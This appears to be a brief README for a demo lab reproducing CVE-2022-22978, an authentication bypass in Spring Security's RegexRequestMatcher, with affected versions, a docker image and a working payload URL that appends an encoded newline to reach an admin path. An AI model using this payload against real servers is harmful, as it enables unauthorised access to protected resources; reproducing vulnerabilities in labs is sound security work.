CVE-2022-22978

CVE-2022-22978 Spring-Security bypass Demo

When using RegexRequestMatcher in Spring Security and the regex rule contains a dot (.), an attacker can bypass authentication by crafting a malicious packet.

Affected Range

Spring Security 5.5.x < 5.5.7
Spring Security 5.6.x < 5.6.4

Reproduction

Paylaod

http://localhost:8080/admin/index%0a

Docker

docker pull s0cke3t/cve-2022-22978:latest